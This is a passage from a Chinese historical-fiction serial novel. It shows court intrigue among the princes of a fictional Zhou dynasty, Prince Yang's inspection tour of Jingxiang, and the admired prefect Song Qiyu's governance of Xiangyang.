未末时分,户部正厅的东耳房里,齐王石坚满头大汗地核对着眼前的账册。度支司郎中文泰和税课司郎中时向祖站在桌旁,小心地伺候着。石坚翻看完所有账本,长长地舒了一口气,站起身说:“上半年的茶税加上前几日核算完的盐铁税,能给朝廷带来八百万两银子的收入,比去年增加了近四成,我大周国库充盈为期不远,真乃社稷之幸啊!”文泰陪着笑说:“齐王殿下筹划细致,安排得当,做事亲力亲为,检查一丝不苟,还能坚决执行皇上意图,这才是圣上之福呀。”时向祖也溜须说:“王爷身为贵胄,办起差来条分缕析,精益求精,忙碌起来不畏艰辛,废寝忘食,真是我辈之楷模呀!”石坚笑着说:“这些日子,二位大人跟着我办理禁榷茶叶的事务很是劳苦,本王不会忘记。论功保奏、加官进爵自不必说,本王对你们也会格外恩赏的。”文、时二人急忙跪伏于地,磕头谢恩。 待起身后,文泰吩咐从人端来脸盆。他动手拧了个凉手巾呈给齐王,又拿过折扇给石坚扇着风。时向祖则捧着茶杯奉上。石坚喝了口茶,说道:“嗯,我那儿有南方新进贡的杨桃,让他们拿些来,给二位大人解暑。”随即,石坚冲外面喊道:“白登,拿些杨桃进来,给二位大人尝尝。”一个小太监答应一声,双手托着个果盘,麻利地躬身送了进来。石坚先拿起一片,说道:“二位大人,请用吧。”文、时二人不认识杨桃,面面相觑了一下,也都学着齐王的样子各拿了一片。石坚吃下一片后,笑着说:“此果产于琼崖、交趾一带,在我中原是极难品到的,二位大人可多吃些。回头,本王再着人给二位送些到府上去。”文、时二人又是一阵谢恩赞叹。 吃完了果品,石坚又把茶杯抄在手里,慢吞吞地说:“本王掌管禁榷事务多日,学到了不少本事,也发现这户部能人极多。尤其是卢元锦侍郎、熊延基侍郎还有你们二位,堪称国之栋梁啊。以后,本王在户部办差,要仰仗你们的时候还有很多,希望你们对本王不要心存芥蒂,要多多赐教,尽力帮协才是。”文、时二人感动至极,跪在地上说:“殿下身份何等尊贵,我二人微末小吏,怎敢承殿下谬奖。王爷但有所差,我等必当殚精竭虑,以为驱驰。”石坚叫他们起来,又说道:“前些时,父皇让我看了一些弹劾户部的折子。其中有这么一条,说《青黄法》在执行的过程中被一些地方官员随意增加利息,给老百姓带来了极大的负担。还说很多农户在荒年因还不上借国库的钱而破产,其情状非常悲惨。本王阅后,很是痛心。不知两位大人可知详情?”文泰眼珠一转,心想,齐王明显针对尚书雷思平,而雷思平是豫王的人,自己既想讨好齐王又不敢得罪豫王,还不能让齐王看出自己首鼠两端。于是,他马上拱手说:“殿下,微臣主要管的是度支,对税收情况不甚清楚。时郎中主管税课司,对《青黄法》的执行和账目的汇总应更明了一些。如有必要,微臣愿意协助时郎中清查地方增加利率的问题。”无奈之下,时向祖也一拱手说:“殿下,微臣虽然管着税课司,但这《青黄法》一直是由尚书大人主抓,不许他人插手的。不过,既然殿下垂询,微臣愿为殿下查访。另外,微臣知道这两年有好几位官员上过类似的弹劾折本,也请殿下向这些官员多多了解些情况。”文泰似想起了什么,又一拱手说:“王爷,微臣有个同榜进士叫宋启愚,现任襄阳知州。他似乎就公开弹劾过地方增加利率的问题,请王爷明鉴。”石坚略一沉吟说:“宋启愚,是你那一科的探花吧?”文泰陪着笑说:“是,王爷好记性。”石坚把脸一扬,嘿嘿笑了笑,说道:“嗷,这些都不是急务,本王只是问问罢了。你们下去吧,嗣后,本王自会有赏赐送到你们府上。”文、时二人磕头称谢后,从房里退了出去。 第二十二回2 十王出京 石坚把白登叫进屋来,说道:“给这两个家伙每人赏一份厚礼,稍微重一些,这些人本王以后用得着。”白登躬身说了声奴才明白。石坚又说:“那个宋启愚吗,你先叫人去查查他的底细,看是否能为我所用。”白登回了一声是,便退出了屋外。石坚又在房子里踱了几步,小声自语道:“雷思平,查清了你枉法的事,本王再让他们弹劾你贪赃,到时候看豫王敢不敢保你。你们想独霸京查的功劳,我怎么能让你们的美梦轻易实现呢……” 几天后的一个下午,童道生抱着个红布小包,来到扬王府前。把门的值事赶忙迎上来,招呼说:“哟,童员外郎,您有些日子没来了。”童道生笑着说:“这两个月,刚去礼部任职,业务还不熟悉,所以不勤来。今天找到些好玩的东西,特来献给王爷的。你们到我车上,把里面的东西都抬出来,带我去见殿下。”值事答应着,一面让人进府通报,一面叫人从童道生车上卸下来大大小小七八件花里胡哨的玩意儿。 进府过厅,来到后园,扬王石坦正在逗鸟取乐。童道生紧走几步,跪在地上说:“臣礼部主客司员外郎童道生参见扬王殿下。”石坦给鸟添满了水,又把水盏交给小太监,转过身来,揉了揉鼻子说:“再造啊,快起来。给我带什么好玩的了?”童道生一边起身,一边把小包裹奉上,回答道:“这是二十多年前,天竺国向我国进贡的一部神话,还有那些。”童道生指着抬进来的物品,接着说,“这是两副唐卡,两块天竺地毯,还有一尊玻璃水瓶和几件木雕。前几日,礼部清理库房,窦侍郎说这些东西年代久远,又不实用,便叫我们处理掉。我想这种异域文化咱们中原轻易见不到,猜测着也许王爷会喜欢,便都讨了来,送给殿下。尤其是这部神话。”童道生上前两步,凑近扬王说:“书名为《罗摩衍那》,它是带翻译文本的,讲述了一个叫罗摩的王子经历的曲折故事,非常有趣。请王爷鉴赏。其中猴王哈奴曼帮助罗摩打仗的部分若排成木偶剧,一定很吸引人。再配上具有番邦特色的人物形象,也许宫里的后妃们甚至圣上都会感兴趣。”石坦手摸着一块木雕,嘻笑着说:“看起来是与中土的不同。你瞧,这个人雕刻了好几层脑袋,这个有好多条手臂,本王确实没见过,开了眼了。”扬王把包裹交给小太监,吩咐说:“把这些都送到无艺阁去。本王回头琢磨琢磨。在前面水榭备些茶点,我在那里跟童先生聊聊天。”接下来,石坦用手让了一下童道生,边向前走边说:“童先生的气色不错,看样子礼部的差事是比翰林院有趣些。”童道生躬身说:“这还要感谢殿下的提点。”石坦摆摆手说:“我其实没出什么力。前些时,一块玩的柳驸马和那个着作郎高定国,他们的父亲跟你们尚书关系好得很,这就是一句话的事……” 第二十二回3 十王出京 等进了水榭,石坦先坐下,又叫童道生坐到对面的墩子上。石坦收起笑脸,郑容说:“童先生,我今天找你来,是有事请教。”童道生拱手说:“殿下请讲,童某自当知不无言。”石坦又说道:“前日上朝,陛下论及京查大考,我三哥说大周幅员辽阔,官员众多,若光靠吏部考核恐有失公允,就提出了一个十王考评的议案。我那六弟和不少重臣纷纷附议。昨日,我听白宁公公说,皇上似乎已经决定了,八月十五后,就让我们十个年过十六岁的皇子出京,前往各个省府州县,考察官员,评定等次。”童道生想了想,说道:“这大概是齐王和成王不愿让豫王独享京查大权而想出的对策。”石坦点点头说:“确实如此。本王的这些兄弟,都不是省油的灯。我既不想违抗父皇旨意,又不愿卷入兄弟之间的争斗,我该如何是好呢?”童道生微微一笑说:“其实,皇上应该很清楚这些儿子们的意图。他是有意这样安排,以制衡几位王爷的权力。微臣在翰林院的这几年,看了不少史书,汉、晋、隋、唐,历朝历代这样的宫廷斗争比比皆是。王爷即已表明了不争不夺的态度,那么豫王、齐王他们应当不会把您视作对手。而且,此次又是十个王爷同时出京,所以,殿下自可放心大胆地办差。只是有一样,王爷去的方向只能向南,才不会触动其他王公派系的利益。”石坦向前探了探身子,问道:“这是为何?”童道生说:“成王刚刚凯旋,河北地区基本被他视作势力范围。殿下若去这个方向,必定被成王记恨。豫王曾任监国,他一向把河南和京畿看成是自己的控制区域。而齐王在山东和陕西两个方向上经营了数年,且他的丈人掌管着兖州一带,外人不好插手。苏杭、建康和闽浙是静福公主的金库和米仓。您虽号称扬王,但在东南却没有势力,这个方向也不能去。原来的副相赵松寿现任岭南宣慰使,他是谁的人我不知道,但至少不是殿下的人。至于说汉中、四川和云南,路途遥远,烟瘴之地。殿下身体瘦弱,还是不去为妙。那么,王爷就只剩下一个方向,就是荆襄、鄂州。”石坦抚掌大笑道:“听了先生之言,本王茅塞顿开。我这就上书,领受皇命,考评荆襄一路。” 扬王请童道生喝茶、吃点心,又恭敬地问道:“童先生,这次考评我是认认真真地查呢,还是马马虎虎地查?”童道生笑着说:“王爷这么睿智,不用我多言吧。您不是带的有监察官员吗?您尽管出京巡视,甚至游山玩水,其它的事都交给手下人做,关键的时候指点一二也就是了。”童道生又一沉吟说:“至于监察官员,我有个同科叫陈靖辉,现任御史,做事认真,为人刚正。王爷带着他南下,就什么心都不用操了。”石坦呵呵笑着,说道:“好,这样干既符合我一贯的做派,又能为国出力,还不用得罪诸位兄弟,一举三得,本王就这么办。现在离十王出京还有小半个月,要是加紧排练的话,说不定我还能把那个‘罗摩’什么的木偶剧弄出来。中秋节前,我先去给豫王兄和齐王兄演示演示,再进宫给太后和母妃热闹热闹……” 第二十二回4 十王出京 自打“魁星三学”开建,宋启愚就经常到工地探看。这天晌午,他带着邝玄又来到了现场。宋启愚指着面前的几座快要建成的高大房屋,对赵随心说:“赵掌事,这些课堂建设得很快,啥时候能封顶?有什么困难没有?”赵随心笑着回复说:“宋大人,要是再加把劲的话,八月初就能盖成。然后再上泥工、木工、漆工,九月之前这一片主体建筑就能完活儿。接下来就是建那些小的配套房舍,再有就是地面的处理和前面石牌坊的搭建。这些项目工程量不小,但难度不大。大人放心就是了。”宋启愚又问:“财物方面和工匠们的生活上还有什么需要吗?”赵随心一拱手说:“这方面更没问题。吏司的孟庆彬和孟老太爷为了感谢大人的救命之恩,捐赠了所有木料,还特意派来几个伙夫给工匠们做饭吃,这儿的伙食好得很嘞。”宋启愚又转向邝玄说:“邝先生,我想在校园里再增加一座藏书楼,希望您给规划一下,放在哪里合适。”邝玄拢眼神向前看了看,说道:“建在南墙内的水塘边就可以。那里离先生们的寓所很近,旁边还有亭台水榭,是个读书的好地方。”宋启愚一笑,说道:“那还要麻烦先生设计个图样,以便赵掌事开工建造。”邝玄拱手问道:“敢问大人,藏书楼要建多大规模?”宋启愚低头想了想说:“丁掌事那边大概找来了三千多部书,咱们这边搜罗的也有一千多部。最主要的是再造,他从京城淘来了三四千部书籍,还有许多孤本、善本,都是不易得到的资料。咱们的书楼至少要装下一万部书才行。等‘三学’建成后,要让这些书籍滋养我襄阳的学子们。”邝玄赞叹说:“再造这是给咱们送了个小书库啊!”宋启愚微微一笑,说道:“这次,再造确实帮了大忙。他除了从各家书店购买书籍外,还打着替扬王找书的旗号,从国子监、翰林院和礼部淘出了不少市面上见不到的好书呢。” 在工地上转了一圈后,宋启愚悄悄对邝玄说:“中秋之前,朝廷要派员到各地考评官员。来咱们这里的扬王喜欢表演木偶剧。我想请先生制作一架精巧的模型送给殿下把玩,时间上紧了些,不知邝先生可有主意?”邝玄想了一下说:“这个容易,我可以把平时做的一些小木器改造改造,保证王爷喜欢。” 八月十六这天,十位王爷进宫辞别了圣驾,陆续出京,前往各地办差。 扬王石坦带着陈靖辉,摆开仪仗,大模大样地向南行进。尉氏县令出城三十里前来迎接,又极尽溜须拍马之能事,弄得石坦很是恶心。到达尉氏县后,扬王跟向导官问明了沿途州郡的情况后,把陈靖辉叫来,说道:“此县不归本王考评,可这县令对咱们却巴结甚紧。本王向来不爱受拘束,跟着仪仗既缓慢又多应酬。这么着,从明天起,本王带着少量属员轻车出行。你跟着仪仗继续南下。咱们过后到南阳会合。至于官员的考评吗,你先看着弄,本王相信你。”陈靖辉暗暗叫苦,开口说:“殿下,外面的世道不比京城,除了土匪强盗,还有大量刁民无赖,您玉体尊贵,怎可置身市井,请殿下三思。”石坦笑笑说:“陈大人莫担心。在众位王爷当中,我也算是泼皮的,不像那些兄弟身子娇贵。再说,本王也带的有七八个随护,还有人做向导,只走大路,不犯险境,有什么打紧。”陈靖辉极力劝阻,石坦只是不听。陈靖辉无奈,只得由着扬王单独行动。 第二十二回5 十王出京 起初的三天,石坦的行程很顺利。可在沙河坐船的时候,扬王的手下仗势欺人,还打了船家。结果使船的艄公一气之下丢下众人,跳进了河里。失去控制的小船顺水漂荡,驶出了一里多才靠岸。惊魂不定的几个人还被湫在水里的船家骂了一通,弄得扬王很是狼狈。到达叶县后,盛怒之下的石坦立命县令严惩船家。结果,在沙河上跑船和打鱼的人家都被衙役抓捕下狱,甚至还有数人为此丧命。石坦消气之后,虽然觉得有些过分,但碍于皇家脸面,他并没有更改前面的处理结果。 到达南阳府后,石坦为了行动方便,隐瞒身份住进了普通客栈。可令他意想不到的是,他手下的两名随护处处托大,竟然敲诈当地玉商,结果被玉石商人扣留还报了官。在这种情况下,石坦只能向知府姜士选亮明了身份。那姜士选一看到皇家令牌,立时吓得面如土色。他诚惶诚恐地向扬王谢罪,并再三表示自己一定会圆满解决此事。当天,姜士选便逮捕了玉石商人,查封了玉石店,并逼着商人拿出五千两银子赔偿扬王损失。当石坦得知详情派人制止时,玉商及其家人由于筹不到那么多钱,已举家自尽。这件事对石坦触动极大。他不明白为何自己处处低调,却仍然逃不脱欺民害人的结果。他痛斥了姜士选处事不周,又责骂了跟从的随护,还将那两名惹事的手下赶回了京城。直到陈靖辉率队与他会合,并通报了其他各位王爷的出巡情况,石坦的内心才稍稍安定。因为他发现惹是生非的王爷远不止他一个。 考评完南阳府的属官,又在附近游玩了几天之后,石坦仍然让陈靖辉跟着仪仗走,他自己则坐着大船,带着少量随护,继续自顾自地出发南行。 九月十六,是襄阳城里大集的日子。天刚蒙蒙亮,昭明台附近街面上的人们便忙碌了起来。除了沿街的商铺纷纷打开大门外,路两边也早有人支开了摊子。卯正时分,随着城门的开启,来自檀溪、岘山、东襄、樊城甚至更远地方的人们纷纷涌进城内。那些推车的、挑担的商贩从不同的城门快步走向鼓楼。他们一边走一边左右扭头,生怕错过合适的摆摊位置。辰时,悠悠的钟鸣从钟楼传出,东西南北四条大街上的买卖正式开张。巳时以后,逛街的人多了起来,穿布衫的百姓、套白袍的商贾、裹绸缎的官绅、着衣裙的妇人,各色各样的人有来有往;嬉笑声、问候声、叫卖声、询价声,充满烟火气的声音不绝于耳;卖吃食果蔬的、贩鸡鸭牲畜的、做舟船水产的、制工艺杂货的,琳琅满目的商品应有尽有,好一座热闹繁荣的襄阳城! 从小生长在汴京城的石坦,虽然见过不少世面,但却从来没有赶过大集。他带着几个随从饶有兴致地出了客栈,来到北大街上。 第二十二回6 十王出京 他书摊这边看看,古玩铺那向瞧瞧,渔具作坊前瞅瞅,卖艺的圈子里站站。他嘴里还不时地叨念着:“咦,这个是干什么用的?嗷,原来是这样……嗯,那个看起来还可以吗。哎,这个好……”到了昭明台,石坦有些口渴了。他顺脚走进旁边的茶馆,要了壶上等白毫和几个小点心,坐下自饮。石坦叫来正在忙活的店小二,问道:“伙计,你们这个地方为啥如此繁华呀?”店小二笑嘻嘻地说:“客爷是外地人吧。您不知道,我们襄阳城里逢六有集。每月的十六都是大集。这城里的生意人和十里八乡做小买卖的人今天都聚到这几条大街上。从早上到下午,前来赶集的官民绅商能有二三十万人呢。您说能不热闹吗!”石坦又说:“我从前看书上说襄阳是个富庶的地方,只是没想到这么兴盛。”店小二给石坦添上茶,仍然陪着笑脸说:“从前的襄阳可称不上富庶,也没这么热闹,最多就是不穷罢了。这都得感谢宋青天宋大老爷啊。”这时,店老板吆喝说“有客伺候”。小二对石坦说了声“客爷慢用”,便转身忙去了。邻桌的两个客人见石坦疑惑,其中一人开口说:“小伙子,店伙计说的不假呀。咱们宋青天自前年到任以来,修石堤、战洪水、植桑养蚕、修造工坊、减赋税、破旧俗,还有,还有发展商业、建立警巡,还有这个,这个,这个招抚贼寇、安置灾民、建设城镇、抚恤孤寡,为老百姓干了太多好事啦!”另一个茶客也说道:“不错,宋青天是天底下最好的官,比之前的那些知州可强太多了。”旁边的茶客也插嘴说:“可不是吗。宋大老爷还和善。咱这地面上每个老百姓都跟宋大人说过话。哪像从前,别说见太爷,就是见了城防军,我这两条腿都哆嗦。”店小二忙活了一圈,又经过石坦面前,也说道:“就是,前几年,城防军管市场的时候,赋税重不说,还老欺负人。你们看……”他张开缺了两颗牙齿的嘴巴,“这就是那个李八斤带人给打的。你们再看看现在,有啥事都能找宋大人给咱们做主。我这心里踏实得很呢……”石坦听着大伙的议论,将信将疑。喝完了茶,石坦让随从结了账,又向众人略一拱手,告辞出门,继续往南逛去。 其间,石坦招呼几名手下低声说:“难道那些茶客说的都是真的?这个姓宋的知州不是给本王演了一出戏吧!你们注意观察,看看有没有人跟着咱们?本王虽然不慧,但也绝不想被人耍弄。”接下来,石坦又专门随机问询了十几个摊贩和路人。结果,人们对宋大人交口称赞,竟然没有一个人肯说知州的坏话。 石坦来到一个吹糖人的挑担前。手艺人的表演让他看入了神。突然,旁边的两个妇女争了起来。就见一个卖鸡蛋的大嫂掐着腰骂道:“你不赔钱就别想走!还光想贪点小便宜,这几个鸡蛋是你吃得起的吗?” 第二十二回7 十王出京 被骂的大婶也不甘示弱,说道:“几个破鸡蛋,跟宝贝似的!我不就是让你再饶两个鸡蛋吗。不肯饶就不肯饶呗,骂人干啥?”卖鸡蛋的大嫂提高了嗓门说:“本来你想饶个鸡蛋也没啥,可我的蛋已经卖完了,拿啥饶你?”被骂的大婶又说:“都卖完了?你那小蓝包里不是鸡蛋是啥?要不是气不过,我也不会把个鸡蛋摔到你的篮子里。我不但没占你的便宜,还吃亏了呢!再说,啥鸡蛋这么金贵,要管我要一两银子一个?”卖鸡蛋的大嫂厉声说:“这都是双黄蛋,是我专门留着送人的。这十几天一共才攒了这么几个,当然金贵了……”石坦转头向一个围观的乡民打听:“这位大叔,双黄蛋很贵吗?”那人诧异地看了看石坦,说道:“小哥是富贵人,不知道行市。普通鸡蛋一文钱能买好几个,这双黄蛋少见,但也贵不到哪儿去。”人们见两个妇女争吵不休,就纷纷出面解劝。石坦轻轻摇了摇头,露出了鄙夷的神色,自言自语道:“嗨,一对泼妇。”可他的话却被吵架的妇人听到了。她们本来听了劝,已经有心和解。现在听有人骂她们,顿时找到了撒气对象。卖鸡蛋的大嫂咬着牙说:“哼,你看着象个读书人,咋就不能说别人点好呢?”买鸡蛋的大婶也说:“瞧瞧,瞧瞧,我们乡邻之间闹点别扭,哪儿轮得上你管呀?仨鼻子眼儿,你多出这口气。”石坦哪受过这等委屈,气得脸色发青。他刚要发作,就见有几个人走进了人群。为首的年轻人呵斥道:“都散散,散散,该干嘛干嘛去。有什么矛盾,我来解决。走了,走了。王家婶子卖你的桔子去。马老四去去去,做你的买卖。还有你们,都别围着了,走吧,走吧。” 等人群散开,那年轻人对两个争吵的妇女说:“赵家嫂子,不就是几个鸡蛋的事吗?犯不上啊。有繁荣的市场,就有美好的生活,太平度日比什么不强啊。还有这位大婶,为了一点小事,让乡亲们指指点点地说你,你觉得好看吗?”卖鸡蛋的妇人脸一红说:“毛巡长。我攒下这十个双黄蛋不容易。我不是要卖高价,而是,而是想送给宋大人。我家男人去年修堤受了伤,是宋大人给我们发的救命钱,还交代里正派人帮我家干活。我们全家都感激大人,但又没有什么东西拿得出手。前些时,我听说夫人要生娃娃了。我就想着拿我家的双黄蛋给夫人补补身子,也添一个十全十美的彩头。”毛小点点头说:“赵嫂,有这份心就行了。大人是清官,不能要你的东西,你还是拿回去吧。等我见了大人,我帮你转达敬意也就是了。”卖鸡蛋的妇人双手合十,喃喃念叨着:“谢谢毛巡长。阿弥陀佛,老天一定得保佑,宋大人一家无病无灾,长命百岁。”买鸡蛋的大婶听了这话,一脸尴尬。她陪着笑,磕磕巴巴地说:“大妹子,你看,你咋不早说咧。你看,我,我也不知道,你这,你这鸡蛋是送给大人的。”说着,她抬手抽了一下自己的嘴,“你瞧我这张臭嘴,还跟你饶东西,真是该死。”毛小制止她说:“行了,也许,你也有难处。这次不再追究你,去吧。不过,下次可得注意,莫再为了鸡毛蒜皮的小事与人争执了。”那妇人连连称是,又向赵家嫂子施了个万福,道歉之后才离开了。 回到客栈,石坦望着天花板,呆坐出神。过了好一会儿,他突然对几个随护说:“本王是不是太乖戾了?前次分明是你们欺负人,而我却给你们撑了腰,结果数名百姓无辜丧命。难道这皇家脸面真的比人命还重要吗?”见随从说不出个所以然来,扬王心里一阵烦乱,随摆手说:“滚滚滚,没用的东西!问你们,纯属耽误事。”石坦走到窗边,看着楼下的街景,自言自语道:“本王这一路上,真的做错了吗?也许……我的那些兄弟们……哎,他们只会更残暴。”石坦又转向屋内,用手托着下巴吟道:“嗯,还真得见见这个宋启愚,看看这位受百姓爱戴的知州究竟是个什么样的人……” 第二十三回1 星光凌日 “荆襄地方的百姓说话冲、性子烈,但他们心地不坏。只要我们善待他们,他们就会十倍百倍地报偿我们。”在驿馆的厅堂里,身穿红色官服的宋启愚面对扬王和御史陈靖辉不卑不亢,侃侃而谈,“微臣刚到任的时候,老百姓对我那是相当抵触。不怕殿下和陈兄笑话。有一次,我到余家凹去视察,刚进村就发现在一户人家的房顶上有两个白白圆圆的东西。我看不清是什么,就问他们村子的里正。里正往前走了几步,回答说:‘知州是笨蛋。’”陈靖辉听后,一口茶都喷了出来。石坦也笑得衣袍乱颤。陈靖辉一边笑,一边咳嗽着说:“我们那儿也管鸡下的蛋叫笨蛋。想不到宋大人还有这等囧事。”宋启愚继续讲道:“跟我同去的万同知怒道:‘别胡说,什么笨蛋!’那里正并没反应过来,又说道:‘同知真的是笨蛋。’”石坦、陈靖辉笑得更厉害了。宋启愚接着讲:“跟在我们身后的孙掌事断喝一声:‘休要无理,什么笨蛋,笨蛋的,那是笨鸡下的蛋。’那里正赶忙陪着不是说:‘是是是,掌事说的对。掌事确实是笨蛋。’”这下,不光是石坦,就连屋里伺候的随护和侍女都笑得直不起腰了。石坦点指着宋启愚,说道:“这要再问下去,跟你去的人就都是笨蛋了。你别说,本王前几日也领教过,襄阳百姓还真是这么讲话的。宋知州治政妥帖,说话又这般诙谐,倒是跟本王很对脾气。”宋启愚陪着笑说:“殿下能体谅地方苦楚,才是难得。对于京查大计,微臣不敢怠慢,现已命阖州属官捧着近年的文书账册恭候在驿馆外,可以随时听候殿下和陈大人查点。”扬王摆摆手说:“本王弄不了这些个,回头让陈大人看看就行了。其实,你这里的情况本王已经很了解,百姓对你的评价相当高呀!而且,无论是城池建设、经济发展还是人民生活,襄阳都是本王见过最好的地方。”宋启愚急忙跪倒说:“殿下谬奖,微臣诚惶诚恐。微臣代阖州官员感谢殿下对地方工作的肯定。”石坦让宋启愚起身,摆手屏退了一众从人,又让宋启愚坐下,说道:“宋大人是同泰二年的探花吧?”宋启愚欠身拱手说:“是。”石坦笑笑说:“今后在我这里宋大人不必拘束。你与再造和陈大人都是同年,他们又是我的好友,那咱们自然也是朋友了。”宋启愚又一拱手说:“谢殿下抬举。微臣与陈大人和再造确实推心置腹、无话不谈。”石坦向前挪了挪身子,说道:“我前日到白铜堤转了转,向南折返的时候,看见一大片水车,不知是何去处?”宋启愚拱手说:“禀殿下,那是檀溪边上的襄阳工坊,现有大小水车二十架,可在不同的季节完成脱壳、榨油、磨豆、制粉、灌溉等等工作。另外,在东面汉江边上,微臣还建的有几架水车,专门从事造纸和制陶。”陈靖辉乐呵呵地说:“殿下不知道,宋大人曾做过工部员外郎,咱们京郊的那两处水车工坊就是宋大人建起来的。”石坦眼睛一亮,说道:“原来如此,怪不得有些眼熟,京城的那两家本王都去过。只是,我觉得这里的水车似乎结构更精巧,运转更流畅,周围的景色也更漂亮些。”宋启愚又一拱手说:“殿下似乎很喜欢机械。微臣这里正好有一套水车模型,若殿下不弃,可送与殿下把玩。”石坦急迫地说:“真的,快拿来看看。”于是,宋启愚便吩咐从人回州衙把模型取来。 第二十三回2 星光凌日 不多时,四名衙差抬着一个蒙着红绸的大托盘进了厅堂。宋启愚命他们把托盘放在桌案上,又吩咐他们打一桶凉水来。宋启愚轻轻揭开红绸,一座微型工坊呈现在扬王面前。石坦不由得啧啧称奇说:“这个模型制作得好细致呀!你瞧,这些水车还会转,这些房舍很逼真呀。这边是白铜堤吧?这堤上还做了几个人偶,不错,不错。”宋启愚又说道:“殿下,这个模型还有更妙的。微臣给您演示一番,如何?”石坦眉开眼笑地说:“好呀,你来,你来。”宋启愚揭开模型上的假山盖板,用水壶向模型里不断注水。过了一会儿,宋启愚对扬王说:“殿下请看,水已注到刻度位置。”他放下水壶,并盖上假山盖板,指着假山边上的一棵小树说,“殿下可轻轻拔一下这棵小树。”石坦依言而行。转眼间,假山脚下的小溪里便流出了清水。又过了一会儿,溪水涨满,溪边的十几部小水车开始悠悠地转动。石坦高兴地有些手舞足蹈,连声说:“好物件!好物件!真是精妙绝伦啊!”陈靖辉也咂嘴说:“的确构思奇特,巧夺天工。”宋启愚把水桶移到模型一角说:“殿下,这模型下面还有一个排水孔。”他用手拔动了模型上面的一座小亭。大滴的水珠便从出水口滴进了水桶里。宋启愚说:“这模型还有计时功能,注水一次,水车能转半刻钟的时间,里面的水全部排干大约需要半个时辰。”扬王和陈靖辉又是一阵赞叹。 接待完扬王,宋启愚回到州衙。他一进二堂,就见曹可用满面春风地迎了出来,后面还跟着吴襄、余天锡等人。曹可用大声喊着:“宣道,我总算在娃娃出生之前,赶回来了。”宋启愚摘下乌纱帽,交给身后的余允文。他用拳头轻轻怼了一下曹可用说:“好兄弟,昨天晚上我们还念叨你呢。走,都进屋,进屋说。”曹可用边走边说:“刚才,我家里的说,也就是这几天了。我还给我那孩儿准备了不少礼物咧……” 等进了二堂,众人落座。曹可用从怀里掏出一本账册,递给宋启愚说:“宣道,这次苏杭之行,我是大开眼界。那边的丝绸产业真是发达,象同里镇、震泽镇、木渎镇还有这个吴江、桐乡、余杭,可以说家家户户养蚕收茧,每个村子都有丝织作坊。他那边还有很多刺绣工坊,绣得那真是好!还有双面绣和这个,叫,叫做缂丝绣。他们拿出的绣品真的是闪闪发光,直晃我的眼睛啊!”宋启愚翻看着账本,问道:“你带去的那些丝线和绸缎,他们怎么说?”曹可用摇摇头说:“咱们的上品丝在人家那儿,只能算中品,绸缎也比人家的粗。我和孙掌事向一些行家请教,人家说这可能是水土的原因。不过不影响用,因为上等绸缎价格高但需求量也小,反而是中等和下等绸缎的买卖特别好做。”他上前把宋启愚手里的账册往后翻了几页,点指着说:“你看,这些商户就是跟咱们做买卖的主要几家。还有一些咱们以后也能合作。另外,这几个商户是做蚕丝被的。咱的那些差一些的丝线最后都处理给他们了。你猜猜,咱们这次赚了多少钱?” 第二十三回3 星光凌日 余允文凑在宋启愚身后看着账本,笑眯眯地说:“曹老弟,账上都写着呢?你还让宣道猜。”曹可用摸摸自己的络腮胡子,憨憨地一笑说:“嘿嘿。我粗粗估了一下,咱们这一年产的丝绸,能赚十七八万两银子咧。而且,养蚕的都知道,第二年第三年的产出要比第一年大得多,这样算来,今后每年,光丝织一项就能给州里带来四十多万两银子的收入。要是咱们让桑农再增加些田亩,那产出量就更大了。”宋启愚又问道:“让你们请的丝织行家可曾请到?”曹可用回答说:“你交代的事儿,夜猫子啥时候含糊过。除了懂缫丝和织染的,我还请了几个绣娘回来。到明年,咱这儿的丝织产业一点不比苏州差。你就放心吧。我是嫌他们走的太慢,才在镇江让孙掌事和王书办押着船继续走,自己换了马先回来的。”吴襄打趣他说:“你现在是财大气粗啊,也没想着给咱哥们带点礼品回来?”曹可用呵呵笑着说:“那还用说,每人都有。一会儿让我那口子给你们各家送去。尤其是你,等我请的那几个绣娘来了,我都送到你家去,让她们轮流伺候你。”吴襄也不生气,说道:“你还是留着自己消受吧。我家的醋坛子可容不下这些个。”曹可用又转向宋启愚说:“宣道,你的眼光确实长远,我很是服气。这次在杭州和徽州,我见到不少茶农和茶商苦苦挣扎。幸亏你在襄阳施行了除茶改桑,要不然,咱们这儿可就真的惨了。”宋启愚合起账本,说道:“是呀,我听说信阳、荆州、鄂州等地的茶农怨声载道。特别是茶叶的主要产区,十分之一的农民都已破产。长此以往,那可真的会出大乱子的!”说到这里,宋启愚收住神思,换上一副笑脸,站起身说:“余先生从洛阳归来没有几天,如今曹可用也回来了,咱们又聚在一起了。我今天接待了一天钦差,陪着小心说了半天政务,现在就不说这些个了。吩咐后厨炒菜备酒,咱们兄弟好好喝几杯。”说完,他一手拉着曹可用,一手拉着余允文,高高兴兴地向内堂走去。 几天后,扬王考评完襄阳的属官,带着陈靖辉,摆开仪仗,前往荆州,继续巡查。在城南长亭,石坦特意拉住前来送行的宋启愚说道:“此次荆襄之行,本王感慨良多。其中,让我无法理解的是,百姓在不知我身份时,对我相当厌恶;而在得知我的身份后,又对我充满恐惧;但他们对宋大人的情感却那么真挚,且一如既往。本王很想知道这究竟是为什么?”宋启愚呵呵笑着说:“殿下能微服简从,体察民情,又能针砭时弊,时常反省,真乃社稷之幸,国家之福。殿下学养深厚,应该知道我们的政治传统都是‘畏尊者讳’,既位高者不必对下属负责。一个官吏,无论他在下面做了多少恶事,只要巴结好了上官,他仍然能够不断地升迁。反之,此官却会前途暗淡。这说明我们的文化有缺陷。微臣所做的只不过是坚持待人以诚而已。我将心比心地为百姓做事,认真负责地给朝廷办差,又怎么会得不到善良正直的人认可呢?”石坦恭恭敬敬地给宋启愚作了个揖,郑容说:“宋大人真是国之干城。石坦领教了。”在上车之前,石坦转过身子,说道:“宋大人,今后有什么难处,你尽管来找本王。虽然我石坦在众位王爷当中地位不高,但我愿意帮助国家的栋梁。”宋启愚赶紧跪伏于地,拜谢扬王的提携之恩。 第二十三回4 星光凌日 当天晚些时候,天上出现了一道奇特的景观。大白天,一颗亮度极高的星斗就依稀挂在半空中,而到了晚上,那颗亮星更是射出万丈光芒,照耀着神州的表里河山。 第二天晌午,宋启愚没有到前衙处理公事,而是带着儿子宋承宇和曹可用、吴襄等人,坐在后衙焦急地等待着内室的消息,阖府上下的女眷也都在紧张地忙碌着。随着一声啼哭,宋启愚的第二个儿子降临人世。曹可用兴奋地抱住宋启愚说:“宣道,快给儿子起个名字吧!”余允文和吴襄等人也纷纷附和。宋启愚提笔在手,略加思索,便在红纸上写下了“宋承宸”三个字。 